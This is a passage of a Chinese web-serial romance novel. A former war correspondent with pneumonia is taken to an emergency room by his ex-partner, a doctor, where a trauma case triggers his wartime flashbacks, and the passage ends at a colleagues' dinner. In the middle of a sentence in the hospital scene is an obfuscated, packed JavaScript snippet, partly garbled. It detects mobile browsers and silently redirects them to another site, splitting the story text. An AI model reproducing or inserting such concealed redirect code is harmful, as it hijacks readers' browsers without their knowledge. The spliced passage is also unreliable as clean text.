每个人财富自由的标准都不一样,对于李和铮来说,这无法推拒的课表设置,无异于让一个已经财富自由的退休老人重新进入大厂卷上了996…… 那到底为什么还要拖着高烧到浑身疼、瘸到几乎走不了路的病体站上讲台?甚至今天还是两节课?是责任吗,是爱吗?真是被自己气笑了。 回国这两个多月,李和铮的皮肤白回来点儿,这会儿烧得脸上白里透着病态的红,大概是上呼吸道感染,又咳嗽又喘,讲着讲着,坐下了。 他过往的实绩在校园里广为传唱,不少学生都把他当英雄看。眼瞅着英雄像个残破的大熊玩偶坐在那里,仿佛耳朵都耷拉了,好不颓废的样子,都有点着急。 “老师我们送您先去校医院看看吧?您这看内科吗?”前排几个很壮的男生都站了起来。 李和铮蓦然被他们围住,阵仗过大,有点想笑。他这课上出来好多人的慕强属性,用苏启然的话说,李和铮的“男粉”比“女粉”能多个三分之一,真是怪扯淡的。 “不用,不至于。”李和铮咳嗽着摆摆手,让他们坐下,“谢谢关心,我下课再去。你们也是,多注意,这气候不稳定,尽量多穿衣服,春捂秋冻听过没?看我每天保温杯里泡枸杞都扛不住,别一天天地熬大夜,抱着奶茶可乐不放手。” 有女生扑哧一笑:“也就是李老师这么说了,别人说这话我要嫌他太爹。” “是啊,”李和铮故作感慨地叹口气,“现在年轻人自我意识觉醒得早,对个体主体性有要求。对于我们老东西来说,这明明是善意的提醒,听别人耳朵里变成了说教。” “那我们乐意听您说教。”有人嬉皮笑脸的,“再说您才三十来岁,怎么就老东西了?” “可不老了吗,要放几年前,我这会儿都能下河游泳。”李和铮又是一串咳嗽,“好了,言归正传。当我们面临要通过第一手资料揭露战争真相的情况时……” 一百分钟的课跟过了一百年没区别,下课铃打响,李和铮站起身时感觉北都找不着了。 有身高相仿的男生上来架住他,大呼小叫:“挖槽,李老师您烧得能煎鸡蛋了,直接送您去三院挂急诊吧!” “那不能。”李和铮不逞强,和他走得勾肩搭背,有气无力地回应着,“校医院就行了,那不有熟人吗。” 有前三院的大夫。虽然他是治精神病的。 ———— 正午时分,李和铮第一次以病患的身份踏入校医院,骆弥生正好值班,端了一碗麻辣烫坐在分诊台的办公桌前发呆。 不授课的日子里他便只是骆大夫,穿着白大褂,坐在那里很是素净。看不见他薄凉的眼神时,他看起来总是乖顺的;等能看见他的眼睛了,那种不好惹的冷情感会占据上风。 骆大夫不知道在想什么,端着垃圾食品也不动筷子,入定了。 李和铮烧得眼前模糊,倚在叫秦舟的男生身上,头都懒得低,垂下眼帘,居高临下地俯视他,方才的烦躁渐渐熄灭,心下一派奇异的平静。 骆弥生听见脚步声朝他过来了才回神抬眼,立时一怔,放下外卖盒筷子也甩到地上,三步并作两步地闪身冲了上来,接住滚烫的身体,一句“怎么回事”卡在喉咙。 能怎么,掌心下的温度就是答案。 另外两个跟着送人来的男生忙不迭地说:“骆老师,快管管李老师,他快烧着了。” “是啊是啊,您劝劝他,下午的课调走吧,都这样了还非要撑着去上课。” 骆弥生和秦舟一起把人高马大的男人扶到就近诊室里的病床上躺下,一听这话,直起身,推起滑落的眼镜,冲他们郑重点头:“好,我来说。多谢你们,放心吧。” “看见骆老师在确实很放心。”秦舟擦了擦累出来的汗,盯着李和铮看了几眼,才转向骆弥生,由衷感叹。 “没有。”骆弥生条件反射地自谦,“这么多校医,谁在都一样的。” 校园里的二级医院,全科诊室没那么多讲究,开着白炽灯。李和铮一条长腿还垂在地上,仰躺得毫无形象,一只手横搭在脑袋上,改为眯眼仰视着骆弥生被白大褂包裹的挺拔背影,看不出情绪来。 “你们去吃饭吧,李老师交给我。”低频率的震动把几个大男生请了出去,李和铮甚至没力气和他们说客套话。 诊室的门被礼貌地带上了,纯白色的密闭空间里只有他们两个人。 骆弥生在病床边站定,对上李和铮的眼睛,看他铁灰色的眼瞳蒙了一层迷离的水雾,模糊掉了他现在对外示人的那种随和洒脱,由内而外地散发出不加粉饰的压迫感。 他顿了两秒,迅速移开视线。 “什么时候烧的?吃过药了吗。”骆弥生咬了一下舌尖,拽起十足的理智。 李和铮看着他,不答。 骆弥生冷静下来,弯腰先把他还垂在地上的腿搬上床,修长的手指下意识地要去解他大头靴的鞋带,顿了顿,想起他鞋带从来都系得很松,果然能直接脱下来。 展开被子给他盖上,倾身上前,拉他羽绒服的拉链,剥下去,让他欠身,从身下把旧外套抽出来。 李和铮装玩偶,全程配合大夫的动作,一言不发。 骆弥生从一旁的抽屉里拿出体温计,要夹腋下的,他有片刻迟疑。 李和铮从鼻腔里哼出一声嗤笑,本该说“给我吧”,没出声, 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李和铮依然照做,同样看不出情绪,在纯白的穹顶下,注视着骆弥生低垂而专注的眉眼。 胸口游移的听诊器边缘有微凉的指尖触及,痒。 “呼了吧。有啰音。”骆弥生眉心微蹙,摘掉听诊器,推眼镜的手有不明显的抖,被他用职业准则克制住,“你肺炎了。下午的课不要去,我和你去三院抽血,得输液消炎。” 虽然校医院也能输液的。 体温计也嘀嘀,骆弥生抽出来它没急着看,先把李和铮的毛衣放平整,给他盖好被子,才看,39度3。 “今天喝过退烧药了吗?” 这种不得不回答的问题李和铮也不说话,不配合问话,影响诊断。 骆弥生咬住下唇,略带责备地看他。 李和铮静默了会儿,就在骆弥生迟疑自己到底应该用什么语气和他说话时,终于又笑了。 病患拖长了声调:“大夫——您看诊辛苦了。早上喝了布洛芬,看着没用。差不多不到三个小时吧。” 得到回复,骆弥生松了口气:“那现在不能再吃了。我帮你去协调下午的课,躺半个小时可以吗。” “嗯。” “烟我先拿走,你眯一下。”骆弥生自然地掏了李和铮外套的兜,以他记忆里对这个人的了解,总是说“没什么大不了的”,只要还没咽气,总想抽两口。 李和铮却笑了,一只手枕到了脑后:“我年纪大了,你现在就是让我抽,我也不敢,惜命。” 骆弥生一点头,中肯地:“你最好是。” 李和铮:“啧,说好的医者仁心呢?” “都有的。”骆弥生随口回答,转身往诊室外走。 李和铮看着他的背影,又故意叹口气:“你把饭吃完再说吧,再仁也没有这么仁的。” 骆弥生没再回应,门关上,李和铮立刻也暂停了思绪,放任自己跌向安宁的黑暗。 这种钻空子的睡是不做梦的,有那么一段时间,李和铮睡觉的时候总觉得耳畔有风声,只有累到极致的时候迅速入眠才不会受到风声侵扰。 一只柔软的手摸在他的额头上,试体温,在一触即离的瞬间,李和铮抬手,扣住了他的手腕。 手腕上一圈滚烫的触感,骆弥生一滞,轻声说着:“醒了。我和你们方主任说好了,该走了。” 低音熨帖在耳际,李和铮没松手,也没睁眼,嗓子咳哑,语气懒洋洋的:“骆老师,我想问你,你说你陪我去医院,是因为你是大夫,还是因为别的什么?” 5. 急诊室 面对这个问题,骆弥生保持了沉默。 李和铮等了他几次呼吸的空档,用探究的眼神看着他侧脸绷紧的线条,看出他确实没有回答的打算,便松了手,开口给了他一个台阶:“嗐,懂。您悬壶济世,我落你手里了,你确实得对我负责到底。” 这种模棱两可的话说起来不痛不痒。骆弥生一只手握住自己刚刚被用力扣紧过的手腕,出了诊室。 李和铮懒洋洋地伸个懒腰。他身体底子还是很不错的,只用半个小时的深度睡眠便缓过来大半,除了吸气困难外,身上疼得没那么明显了。 他倚在诊室门口,双手抱臂,打着哈欠,和路过的几个午休结束来上班的校医打了招呼,看骆弥生在值班台后脱掉白大褂,换上白色的羊绒大衣——看起来区别不大。 李和铮自问他不是什么爱唠叨的人。 他老娘是一生放浪不羁爱自由的二洋鬼子,在国内生活多年,依然是刻板印象里那种“生完孩子提了裤子就能走”的白女习性,从来没有过对小孩的耳提面命;他老爹是个老古板,从90年代开始便上演了《我在故宫修文物》,至今还修得钻不出来。 据说老娘年轻的时候玩儿命痴迷老爹的文人做派,为之神魂颠倒夜不能寐,展开猛烈攻势,到手后才知宫里的天四四方方困住的是女人的灵魂……鬼扯。 这二人的姻缘,说成是话不投机半句多有点过,两人倒也不红脸,没离婚,各过各的,像一对生活在远处不咸不淡的朋友。 李和铮蹲在也门风餐露宿吃沙子的时候,他老娘在地中海艳阳高照的沙滩上,晒着太阳喝着酒,享受着年轻白男涂防晒油,他老爹下班后背个小破布包,回家提上鸟笼,和东城的茶友们一起串在胡同里下象棋; 李和铮躺在北苏门答腊的医院里做完了急救处理,等待着领事馆协调班机送他回国换新膝盖的时候,这对便宜夫妻倒是吓坏了,两个人天南海北地汇合在他的病床前,哭了一鼻子又一鼻子,自有护工真正上手照顾他。 但是他们也没有多余的唠叨,他们不会说“太危险了还是不要继续做战地记者了”这种话。李和铮总是对这一点心存感激。 不要过多干涉他人的人生选择,是他从小接受的教育。 但这会儿,他实在是有种不知从何而来的不吐不快,还是选择了当着其他几位交接班的校医老师的面,对着刚刚重逢见了第三面的旧情人唠叨:“你说这两天的天气,最高温度都没到零上。我就不信你穿这个不冷啊。” 骆弥生一怔,下意识地低头看看自己身上的衣服,迟疑片刻:“哦。我确实不冷的,基本也不在室外待着。车就在北停车场放着,走过来很快。” 得,当我没说。 骆弥生走过去,抬手,不得要领地架住李和铮,又调整姿势,改为了搂着他的腰。 真够亲近的。李和铮的胳膊没地儿放,搭上他的肩膀,没拒绝他,大夫嘛。 两个人用这样连体的姿态走出校医院。想到刚才被念叨了一句,骆弥生主动交代着:“我毕业前摇到的号,去买了车。之后都习惯冬天穿少点,体感上完全适应了,不冷。” 着实没必要说这么多。不过李和铮明白,他这么说是因为,当初是他俩一起在海淀驾校报的名,为了协调两个人一起去驾校练车的时间,他俩第一次合并了课表。 有合并课表,便有共享日程。有共享日程,私人空间便一直在收缩。四公里的距离本来不远不近,在恋爱的亲近之余还有极大的自留地,然而合并课表后,只需要扫一眼便知对方在做什么,空不空,能不能见面。 想起来都觉得年少时的恋爱脑真恐怖。逐渐如胶似漆了连四公里的距离都嫌远,李和铮大三那一年,他们搬出来,在两个校区中间租了房子。 ——那可是同居啊。换作是现在,他根本做不出这样的事来。 毕竟,人与人永远是不能真正感同身受的不同独立个体,再亲近,也没什么好结果。 骆弥生见他没反应,生怕回应不够他这句憋不住的唠叨似的,继续说着:“我现在比起怕冷更怕热,保持一点微冷的状态很舒服,太热会感觉恶心……” 李和铮失笑,打断了他:“得了,大夫,我又不是警察,你穿少点也不犯法。” “嗯。”骆弥生闭嘴了。 李和铮松了松领口,大夫给他羽绒服的拉链一口气拉到了下巴颏,真难受。 都没什么必要。想来,不过是旧情人相见,分外没什么大不了的。 骆弥生的车是A系奔驰,很标准的“人生第一辆车”,但这对李和铮的身高来说有点小了。 他把自己扔进副驾驶后往后推了一大截座位,才把屈起来受疼的右腿伸直了。 骆弥生沉默片刻,冒出来一句:“我今年准备换车。” “哦,那挺好。” 言尽于此。李和铮没心思管旧情人的话里有没有暗示,闲聊也好,有心也罢,都不值得为此多花心思。 —————— 三院的急诊人满为患,才一进门李和铮便烦上了,尽量不动声色:“其实没必要,肺炎而已,就在你那儿输了得了,你又不是不能开药。” “能是能。”骆弥生没再多说,知道他怕麻烦,一会儿,以他这个发高烧但人清醒的程度,被分个四级还得排队等,得更急,“社保卡给我。” “不用。”李和铮笑了笑,“你陪我来已经很感谢了,哪能事事麻烦你。” 骆弥生抬眼看他。 李和铮捏了捏他的肩膀,把他转过去,一起站在了队尾。 他依然是模棱两可的态度,放在老同学的身份里稍显亲近,放在旧情人的定义中过于平淡。 平淡意味着不在意。才下眉头却上心头的是爱是恨是牵挂,而李和铮有的只是坦然处之。 分诊要测血压,李和铮提前脱了半边羽绒服,胳膊伸出来准备挽袖子,骆弥生先上手了,一折一折地挽。 李和铮:…… 医者仁心。他自然得像是给幼儿园小孩撸起袖子等洗手。 袖子弄好,骆弥生又把他掉下去的外套拎起来,裹住他,抬手摸了摸他的额头。 “体温没变。”骆大夫叹了口气。 李和铮没说什么,没拒绝,没躲避。 队伍行进还算快,还差两个人到他。 前面被妈妈抱着的小孩看起来也是发烧,趴在妈妈肩头蔫哒哒的,应该是又难受了,闹起来,边哭边踢腿,冲着李和铮的肚子来。 骆弥生眼疾手快,挡了下,被踢到胳膊上,白羊绒大衣立刻被踢黑一片。 李和铮:啧。 那妈妈红了脸,忙不迭地道歉,掂着孩子哄。骆弥生摇头说“没事”,李和铮拎起了他的胳膊,看他手腕内侧被踢破一点皮。 他便上手,拍他的袖子:“你瞧瞧。这多过意不去,你带我出来,还负伤了。” 骆弥生耳朵红了,转脸不看他。 李和铮无心探究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679424|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的态度,把灰拍掉,调侃:“你这反应速度,跟……” 急诊的分诊台在一层进门处,门外突然炸响由远及近的救护车鸣笛声,几道叠在一起,分外高亢。 与此同时,大音响里,低沉的女声急促地喊起了呼号:“急诊333!急诊333!紧急情况,急诊333……” 几乎是瞬间,骆弥生的身体自发地动了,还在李和铮手里的手腕猛地抽走,转身就往门外跑。 李和铮愣了,骆弥生跑了两步也愣了,而后他转头,他们两人对视一眼,李和铮笑了:“去吧,骆大夫。” 已经辞职的骆大夫遵循着肌肉记忆,短促地点头,刚被唠叨过的白羊绒大衣随着他的奔跑翻飞,混进了从四面八方奔跑来的白大褂里。 李和铮目送他冲出了已经大开的门。救护车旁开始有被抬下来的担架床,大片的红色染在白色的被单上,被一片白色的人围住,推着朝这边跑。 耳边是急促的鸣笛,333呼号还在播报,不断向外跑的医生们高喊着“让一让!”,许多人不明就里地左顾右盼四处闪躲,感到恐慌,而恐慌的蔓延孩童最先感知到,前面排着的那个孩子尖锐地大哭出声,就在李和铮一步之外,刺痛了他的耳膜。 下一刻,防空警报拉响了,这次空投的目标地点是医院。里面没有老人,老人是住不到医院里的——里面有刚刚生产完的产妇,也有被炸掉半边身子等死的孩子,就这样惊声尖叫般地哭嚎,很快哭不出了…… 不是的,不是的,不是的。 李和铮眼前闪烁着滚滚浓烟,浓重的火药味裹挟着砂砾冲到他脸上。他尽力拽住即将跌入一片黑暗中的理智,闭了闭眼,喉咙发紧,发着高热的身体背后满是冷汗。 “没事没事,宝宝不怕,不哭不哭。”孩子妈妈涨红了脸,吓坏了的小孩怎么哄都哄不好,轮到他们测血压了,极度不配合,说什么都不肯把胳膊伸给护士。 恐慌中的人更没耐心,喊着“要不让我们先来!”,而李和铮的心在一位母亲持续不断地安抚话语中安定了下来。 掌心里出了一层冷汗,他在裤子上擦掉,半蹲下身,在能和小孩平视的高度,冲哭到快窒息的小孩伸出一根手指,勾了勾:“你看这是什么?” 崩溃中的小孩泪眼婆娑地看过来,哭被中断了,李和铮抓住这个时机,几根手指扭起来,又展开,花里胡哨地晃了晃,缩起来又弹起:“看,是不是有小人在跳舞?” 护士见小孩的注意力被转移,立刻拉住他的胳膊哗地拉起袖子套上血压仪,在小孩开启下一轮哭闹前,孩子妈妈投来感激的目光,有些不好意思,轻声道谢。 平静下来的李和铮从容地站直身,微笑摇头。 身后传来担架床滚轮急速滚动的哗哗声,跑步的咚咚声,伴有一道格外熟悉的中低频的震动,在嘈杂至此的环境中被清晰可闻地捕捉到。 李和铮回头,看到骆弥生刚被踢脏、又被他拍干净的白袖子上,染了一大片刺目的血迹。 冲过来接这起重大交通事故的医生们,哪个身上都沾血。这张担架床上围着几个医护,受伤的年轻女孩一手抓着骆大夫的胳膊,骆弥生正持续和她说着什么,为了让她不要昏过去。 他们带着血腥味冲过来,李和铮抬手,挡住了还在分诊台上的小孩的眼睛。 同时,他看向骆弥生镜片下冷静的眼睛,他们的视线在瞬间交汇又错开。 骆弥生收回视线,目不斜视,冲向了抢救室。 6. 风油精 三院有全国最好的骨科,这特情来得猛烈处理得也快,李和铮测完血压,拿着分诊后的号往等待区走,周围的骚乱已经平息了大半,医护人员们各自回到相应的岗位上。 把伤员送到抢救室门口的骆弥生脱掉了沾血的大衣,一手拎着,走过来还喘着粗气,站定在李和铮面前,眼镜上蒸腾了一层没散尽的雾。 李和铮看着他,想到这两次见面他都用“医者仁心”调侃他,实在是罪过,笑了:“你刚才跑那么快,自己都没反应过来吧。” “嗯。”骆弥生低声回应,看了看袖子。 “这衣服废了,怎么洗?”李和铮看到那已经泛成暗红色的血迹,移开了目光。 很少有同行能逃过幸存者综合征的侵扰,何况他一出去便是十年,用人生中的黄金上升期,换了一身伤病和千疮百孔的心。 ——他知道自己挺严重的。但他没打算吃药控制。比起依靠外力,他更习惯用意志力去对抗所有不可抗力。 他并不为此感到羞耻。封闭再多的感官是为了自我保护,可如果真的全都锁上了,他又怎么写报道呢。 没有什么是不能坦然面对的,这是李和铮的人生哲学。 被李和铮坦然面对的旧情人放下了脏袖子,还没从微喘的状态中恢复过来:“回去买一瓶专门洗月经用的洗衣液,试试。再送去干洗。” “还有这种玩意儿呢?”李和铮挑眉。 “嗯……因为你常驻的地区比较落后。”骆弥生大概是太久没有过剧烈运动,面色微红,刚才那个女生第一轮心肺复苏是他按的,现在推眼镜的手还在抖,“……所以没听过。” 重逢后的骆弥生和他说话总是一板一眼的,生怕遗漏回复他哪一句显得不够。 “还洗衣液呢,卫生巾都没普及,有的部落女孩儿还要受割礼……不提了。你咋喘成这样。”李和铮和他一起找了位置坐下,“果然男人25以后就是60,谁也逃不掉。” 骆弥生坐下后一怔:“这句话好像不是指这方面吧。” “你说是什么就是什么咯~”李和铮笑眯眯地,这会儿心情好了,开个略带颜色的玩笑。 骆弥生抿起唇,垂下眼,不知在想什么。 因为特情,各个诊室里看诊的医生都冲出去了一遍,进度滞后,而李和铮的确只被分了个四级,一时半会儿还轮不到他。 他没有玩手机的习惯,显然骆弥生更没有。两个人并肩枯坐有点怪,真让他聊点什么又不想找话题。 片刻后,骆弥生抬起头,转向他。 李和铮不动声色,等着听他要说什么。他紧张的时候总是爱咬嘴唇,要出口的大抵不是什么痛快话,或许听来也不悦耳。 周遭的人群来往行色匆匆,他们在急诊侯诊区的长椅上沉默对视。 骆弥生看着他,憋了半晌,冒出来一句:“忘记给你拿水了,渴吗,我去买。” 李和铮:…… 年轻叔叔无奈地摸了摸自己的脑袋。说实在的,他遇到骆弥生之前没有恋爱经验,活了这么大也就只谈过这一场恋爱,没有任何应该怎样对待旧情人的欲言又止的相关经验。 骆弥生又低下头。 李和铮平白觉得骆大夫在这里陪他真吃亏,刚才去救人的时候如离弦之箭,把白衣天使四个字具像化,这会儿只显得疙疙能能的,不痛快。 算了吧。 “老梅老梅!”一道活跃的声音在气氛沉肃的急诊室里格外嘹亮,打破了两人之间的沉默。 他们俩一起转头看,区别是李和铮只是好奇,骆弥生知道这人是在喊自己。 一个娃娃脸的白大褂三步并作两步地朝这边来,李和铮与他对上,看清彼此后,娃娃脸急刹车:“握草,你你你你你?” 啊。烧到现在的病号下意识地保持着礼貌,站了起来。 李和铮从记忆库里搜出来这人叫林阳,外号羚羊,是骆弥生的舍友,上学的时候没少一起吃饭。 也反应过来他喊的“老梅”是骆弥生的英文名,may。 弥生是和风文化里三月的别称,刚好他阴历生日在三月,阳历跨到了五月。很少有男生取名may,所以很好记,比他本名好读,很多人都喜欢这么叫他。 李和铮微笑着,不动声色,扫了一眼林阳的胸卡。看来他留在三院了,还是急诊医生,刚才他们在特情中碰到了。 冲过来的林阳对着李和铮目瞪口呆:“我靠真是活见鬼,我穿越了吗?你们俩怎么在一块儿呢?老梅咱俩就半个月没见吧,你就偷偷背着我复合了?!” “没有的事。”没等骆弥生制止,李和铮先自然地答了,“我被老梅大夫救死扶伤了。羚羊大夫,好久不见。” “真是好久了,”林阳连连点头,“不过说实话我看你一点儿都不陌生啊!原来我们还老看你的报道呢……哎呀。” 对上骆弥生谴责的目光,林阳冲他做个鬼脸,幼稚且精力旺盛得一点都不像一个从医多年的医生,别人被摧残得话都不想多说,他仿佛这辈子都变不成“令人信服的模样”。 “那咋了,还不让说了。要是我前男友也是这么牛逼的战地记者,我肯定天天蹲着他的专栏一键转发啊……”羚羊还蹦跶着,被骆弥生受不了地拉到一边。 李和铮坐回去,按了按脑门儿,有点头疼,想,林阳说得没错啊。 算来,这对室友还住同寝室时,他刚刚在也门的驻站崭露头角。 最初那两年报道写得尖锐,现在回看,通篇是初出茅庐的愤世嫉俗。那时他日日置身于战火中,渴望每一笔都手起刀落,以杀止杀。 实际上扛起枪炮的人不看战地报道,习惯看战地报道的人大概率这辈子都不会去到战区。 但——不能不写。假如书写是一道在真正战乱边缘承担了太多莫须有期盼的防线,假如一个片段能点醒一个人,那么便少了数以万计的战争可能性。 虽然他不写了。 总的来说,李和铮不是一个会轻易做出重要决定的人,习惯深思熟虑后再行动,表面看着洒脱,本质上他不会存在一时兴起的情况。 从战区撤回来的决定想起来“痛彻心扉”,却因为和骆弥生突如其来的重新出现在他身边作对比,显得无足轻重。 李和铮冷酷地想着,无论是事业还是人,选择放手的人不要摆出余情未了的姿态,否则终是庸人自扰。 不确定会不会落入庸人自扰境地的骆大夫和林大夫站外远处说话。 骆弥生背对着他,李和铮看到林阳给他递了什么东西,又从白大褂兜里拿出一个水杯,骆弥生喝水的时候微微仰头。 两个人嘀咕了一会儿,都走回来了。 李和铮看着这个水杯递到他面前。 骆弥生的手腕上有淡淡的风油精味。什么时候涂的? 李和铮倒想起来,在哥伦比亚的驻地时,听同僚说起过,风油精的味道可以迅速缓解ptsd急性发作。不确定,因为那时候他们搞不到风油精,也“没空”ptsd。 他探究地看向骆弥生。谁?觉察到了他刚刚发作了所以拿了风油精,还是他…… 骆弥生没再喘了,这会儿一切如常,以为他是问水杯:“这个杯子是我的。辞职的时候落下的,羚羊帮我收起来,一直放在这里,我也没拿走,因为有时候会来找他……” 没等李和铮反应,林阳先瞳孔地震 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李和铮沉默着听完,抬手,哥儿俩好状,搂住了骆弥生的肩膀:“骆大夫,对于现在的你来说,你已经尽力了。” 骆弥生垂眼,和他开玩笑:“不是都说最怕听到大夫说‘尽力了’吗?” 李和铮哈哈一笑,用力地拍了拍他的肩,进了化验室。 骆弥生在原地顿了会儿,抬手,摸了摸肩上被他拍过的地方。 —————— 大病一场的李和铮在三院输了一周液,复活了百分之八十。 除了第一天骆弥生执意要和他一起外,后面都没让他来,每天自己坐地铁,碰上全天课的晚上来。 骆弥生拗不过他,大约也是因为他们两个人实在找不到自然说话的状态,更没必要“自讨没趣”。 等李和铮不用每天去门诊输液室报到,三月底的气候也终于稳定下来,白天穿卫衣,早晚加一件外套。 临到月底,最后一个周结束,李和铮才想起他已经有十天没再见过骆弥生。不论处于什么样的原因,他其实应该请骆弥生吃顿饭,把他陪他一起去医院的人情还了,走个彼此心知肚明的过场。 只不过他拿起手机,反应过来,当年分手后他们删除了所有联系方式,回来后,也没有人提重新加微信的茬儿。 没办法,下了课的李老师一瘸一拐地往校医院去。 刚进了校医院的大门,电话响了,是最近极速熟络起来的苏启然:“喂,李老师,忙着呐?” “不忙,您吩咐。”他贫。 “那多不好意思。咱们晚上聚聚呗,周末了。”苏启然乐呵的。 “成啊,奔哪儿聚,都有谁。”李和铮漫不经心地应着,他不知道骆弥生的办公室在哪里,准备去分诊台问问。 “其他人你熟不熟我不知道啊,反正有骆老师。” 李和铮眨巴下眼。 同时,一旁的电梯到了,门打开,穿了一件单薄白衬衫的骆弥生从里面走出来。 他们骤然对视,骆弥生一怔,随即连忙走过来:“怎么了?又不舒服吗。” 电话那头的苏启然立马辨认出来这门磁性的低音炮:“哟,你们在一块儿呢?那敢情好,直接一起过来了。” 李和铮被这一左一右搞得,还没说出话,苏启然那边被人喊走了,挂了电话。 李和铮挠了挠眉毛,哭笑不得。 看看骆弥生微蹙的眉心和镜片下困惑的眼睛,李和铮耸耸肩,冲他摊手:“我没事。喏,专门来接你去聚餐咯。” 骆弥生:………………??? 7. 人情债 李和铮没有解释他的这句扯淡,骆弥生盯着他,谨慎地判断他到底是真心还是假意,得出了自己不要自作多情的结论。 于是骆大夫只是点点头,没多问。 他们两人并肩往停车场走,注意到骆弥生放缓了步子来配合他一瘸一拐的频率,太体贴,李和铮决定还是说两句人话。 “其实我是想来请你吃饭的。咱俩没微信……” ——骆弥生立刻掏出手机。 “……所以我走过来找你。”李和铮无奈,也拿出手机。 两个人停住脚步,都打开了扫一扫,又同时侧划,打开二维码。 两人:…… “得了。”李和铮哭笑不得地叹口气,朝后捋了捋头发,“你扫我吧。” 骆弥生又点点头,推推被他点得滑落的眼镜。 “小鸡啄米呢。”李和铮点开新的好友申请,点通过。脱口而出后自觉语气太过亲昵,扫了一眼骆弥生,看他只是忙着在给他写备注,松口气。 需要顾及得太多,说是不在意,难免还是不自在。 旧情人最好不要做朋友,以前不是,以后没必要。 但李和铮觉得自己也挺奇怪的,他看见骆弥生穿得少便总想念叨他别凉着,明明这位独立的成年男性已经解释过了,他现在怕热,喜欢凉一点。 总的来说,还是年纪大了。难免唠叨。 “为什么找我吃饭。”骆弥生问。 “没什么。”李和铮本是准备实话实说,话到嘴边觉得太过狷介。说到底也是曾经同床共枕的关系,不论他们现在算什么,不论后来发生了过什么,骆弥生总是友善的,不要把人推得太远。 于是他说:“周末了,我也没什么别的朋友,来找你,才接到苏老师电话。” 骆弥生向另一边偏过头。 这不是满意的答案,又都不是愿意多说的人。对过去只字不提。 都别扭。 还是那辆让他放不下腿的车,李和铮坐上去,发现副驾驶自从他那天调过位置后一直没变过。 “平时没有人坐过我的车。” “那我很荣幸了。” 懒得找话题,不爱玩手机的人也低头看起来。他发现苏启然刚把他拉进一个13人的群,艾特他介绍了一遍。 校园红人嘛,都听过,里面每个人七嘴八舌,看起来都是年龄相仿聊得来的同事。 李和铮打字:大家不嫌弃我和现代社会脱节就成,多聚聚,多带我玩儿,我也沾沾人气儿。 说完,他点开群成员,又去看骆弥生的头像。 是一张万泉河边上的风景照,冬日的,却不见萧瑟,光感很有温度。很明显是他自己拍的。朋友圈仅三天可见,背景图是默认的黑猫仰头,签名挂着一句话,“会有一颗星星指引着我的生命通过未知的黑暗。”,李和铮定神想想,想起这句话摘自《飞鸟集》。 很老梅的风格。 他放下手机,懒散地靠着,托腮,看向了车窗外。 骆弥生开车稳,一言不发,也不用打导航,聚餐的那家店他们老去。 周五的晚高峰不容小觑。车河走停,自有去处。 他们两人偶尔会在后视镜中视线交汇,一瞬间便移开。 李和铮考虑着也许他们应该聊一聊。三十岁的人人生不会再有大变动,至少,未来几年内,他们会生活在彼此的不远处是既定事实。 他们之间横亘着一些旧事,该谈谈年少时戛然而止的事,谈谈未来他们应该如何放置彼此。 清醒的人要讲理,成年人要体面,他们现在这情况,又不可能一扭头说绝交。把话说开了就好了,不然两个人总是不上不下。 但又觉得还不是时候。这才是他们重逢的……第五次见面。 人嘛。从来都是被时间推着往前走。他们同路过,同路时发觉彼此的人生目标高度一致,后来才明白那不过是自我投射在对方身上的幻觉。 他们曾严丝合缝的人生轨迹,早已经在某一个时间点里断裂开来,从此驶向了不同的方向。 车里太安静了。安静到让人受不了。 几乎是同时,骆弥生抬手按开了音响,李和铮摇下车窗,让车水马龙的沸腾声倒灌进车里,尘世的喧嚣不绝于耳,两人都在心里轻轻松了口气。 —————— 聚餐的目的地竟是蒙餐馆,骆弥生停好车,发现李和铮的电脑包放在副驾底下没拿走,眨巴两下眼,勾起了嘴角。 李和铮的注意力倒不在这上面,又挠了挠他的断眉:“吃这个啊,这不上火吗?” “苏老师说,”骆弥生绕过车头走到他旁边,“天气马上变热,热起来吃不了这个了,所以又订了这里。” “真行。那些老师都谁?” “有一年参加融媒体大会的代表队,一起把对门的赢了,有集体荣誉感。”骆弥生耐心地解释着,他们一起往里走,“大家投脾气,年纪也差不多,不是学术咖,经常聚聚。” “学术咖。”李和铮重复一次,笑了,“你是啊。” “我早不是了。” 上连续的台阶时,李和铮瘸了一下,两个人的手下意识去找了对方,一个用胳膊托着一个握住他胳膊借力,上去便松开,没有目光交汇,也没说话。 李和铮在心里打自己的手,不是独立自主拐杖都不拄吗……这哪里来的肌肉记忆。以前又不瘸。 根据包间里热火朝天的声音可以判断,他们俩应该是最后到的,骆弥生要敲门前,李和铮问:“喝酒吗他们?” “特别能喝。”骆弥生看他一眼,中肯地,“他们会喜欢你。” 喜欢我啊。 酒量深不见底的李和铮了然,一手推在他的背后,让他顺势推开了门。 包间里热闹的气氛停了一瞬,旋即更加热闹:“来啦,来啦!” “来了。”骆弥生点头致意,介绍了身后的李和铮,并说,“我先说好,我今天开车,不喝。” “你叫代驾呀!”苏启然拍案而起,“李老师第一次和咱们聚,你能不喝?” 李和铮扫了一眼骆弥生,看他已经低下头挽袖子,看出他是真的不打算喝,便替他接话:“甭了,为了我用不着,我俩上学的时候经常喝。” “哎,那你们这革命友谊还挺长久。”有老师笑。 这就是哪壶不开提哪壶了。 两人相继落座,十三个人坐圆桌有点紧,串了串位置,他两人挨得近了,胳膊撞在一起,李和铮不动声色地往旁边挪了挪。 接下来是破冰,苏启然比当初他以为的还要更健谈,本地人天生的贫加上那小词儿一套套的,三言两语让李和铮把每个人记了个七七八八。 李和铮也不含糊,屁股还没坐热,又站起来,端着分酒器:“我提一杯,幸会。冲了!” 二两白酒一口闷,李和铮把空了的杯底亮出来,这群学术精英炸了锅,连连喝彩,噌噌噌站起来好几个,跟着就是个冲。 骆弥生无奈,欠身出声制止:“你们都悠着点,他喝不醉,你们别跟他来。” “还能喝不醉,不信!那是没喝到位,再来!” 李和铮无所谓,喝呗,确实喝不倒他。 他看得出,这群高校教师平日里压力大得很,书读得越多越要求自己像个“人”,卷教学,卷职称,卷“越来越像个人”。 